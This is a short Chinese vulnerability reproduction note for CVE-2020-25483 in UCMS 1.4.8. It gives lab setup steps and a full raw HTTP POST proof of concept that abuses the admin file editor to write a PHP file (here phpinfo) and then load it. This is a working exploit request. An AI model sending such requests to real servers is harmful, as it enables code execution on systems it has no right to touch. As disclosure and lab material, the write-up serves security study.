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62 lines
1.7 KiB
Markdown
62 lines
1.7 KiB
Markdown
# UCMS 文件上传漏洞 CVE-2020-25483
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## 漏洞描述
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UCMS v1.4.8版本存在安全漏洞，该漏洞源于文件写的fopen()函数存在任意命令执行漏洞，攻击者可利用该漏洞可以通过该漏洞访问服务器。
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## 环境搭建
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到官网http://uuu.la/下载源码（http://uuu.la/uploadfile/file/ucms_1.4.8.zip），解压到web目录，访问[http:///install/index.php](http://127.0.0.1/opensis/install/index.php)进行安装。
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访问/ucms/login.php，显示正常及环境安装成功。
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## 漏洞复现
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登录账户
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poc：
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访问/ucms/index.php?do=sadmin_fileedit&dir=/&file=1.php抓包。
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写入php代码，发送。
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```
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POST /ucms/index.php?do=sadmin_fileedit&dir=/&file=1.php HTTP/1.1
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Host: ucms.com
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Content-Length: 58
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Cache-Control: max-age=0
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Upgrade-Insecure-Requests: 1
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Origin: http://ucms.com
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Content-Type: application/x-www-form-urlencoded
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User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/87.0.4280.66 Safari/537.36 Edg/87.0.664.41
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Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9
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Referer: http://ucms.com/ucms/index.php?do=sadmin_fileedit&dir=/&file=CNVD.php
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Accept-Encoding: gzip, deflate
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Accept-Language: zh-CN,zh;q=0.9,en;q=0.8,en-GB;q=0.7,en-US;q=0.6
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Cookie: admin_213f42=admin; psw_213f42=0ef8fa2c997f64b78cde98b6c7c9cc0a; token_213f42=78012aac
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Connection: close
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uuu_token=78012aac&co=%3C%3Fphp+phpinfo%28%29%3F%3E&pos=17
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```
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get /1.php
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